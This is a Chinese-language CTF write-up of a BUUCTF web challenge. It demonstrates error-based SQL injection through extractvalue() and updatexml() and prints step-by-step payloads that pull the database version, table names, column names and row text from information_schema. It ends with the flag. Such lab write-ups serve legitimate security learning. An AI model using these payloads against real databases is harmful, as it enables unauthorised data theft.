报错注入实例
题目靶机来自buuctf第二周web方向注入题,经过我的测试,发现之前的union联合注入不管用了,这里要用到报错注入
union注入抓不到有效数据:
一、判断是否符合用extractvalue()报错注入
先假设可以报错注入,先草草抓一下version()的数据,下面进行小小的注入调试。
注入姿势:id=' and(select extractvalue(1,concat('~',(select version()))))#
说明
上图中系统回应的XPATH syntax error: '~10.1.47-MariaDB-0ubuntu0.18.04.'
说明了报错注入的可行性,接下来可以故意让系统报错,并且将查询结果放在报错信息里,以XPATH syntax error: '信息'
的形式爆出来,从而查看数据库中信息。
二、开始注入
1)扒取表名table_name
注入姿势:' and extractvalue(1,concat('~',select group_concat(table_name)from information_schema.tables where table_schema=database()))#
这里和之前union注入一样套路,从database()这个数据库中扒出information_schema里面的表名,效果如下:
2)查询列名
注入姿势:' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database())))#
3)查看文本
注入姿势:' and extractvalue(1,concat('~',(select group_concat(text) from wfy_comments)))#
结果如图:
这里可以看到文本不能全部输出,这里划重点,知识点来了
知识点
当数据表中有大量数据时,一次性查询出表中的全部数据会降低数据返回的速度,同时给数据库服务器造成很大的压力。这时就可以用 LIMIT 关键字来限制查询结果返回的条数。
LIMIT函数原型:limit 初始值,记录值
用到注入中就是:select <列名>,<列名>,...from <表名> limit <初始值>,<记录值>
——检索从第<初始值>条开始,累加并显示<记录值>条id记录;
注入姿势:' and extractvalue(1,concat('~',(select text from wfy_comments limit 0,1)))#
——检索第一行并单行输出
注意!
分行输出时前面不要用group_concat()了,否则所有文本拼成一行,用limit也无用啦!
4)查询目标行
最终抓出来XPATH syntax error: '~flag{Ju4t_m2ke_some_err0rs}'即为本题答案。
三、判断是否符合用updatexml()报错注入
说明
和extractvalue()报错一样,先假设可以报错注入,先草草抓一下version()的数据,下面进行小小的注入调试。
注入姿势:id=' and(select updatexml(1,concat('~',(select version())),2))#
以下updatexml()报错基本和extractvalue()报错一致,按照以上步骤操作即可,两种方法可根据实际情况使用。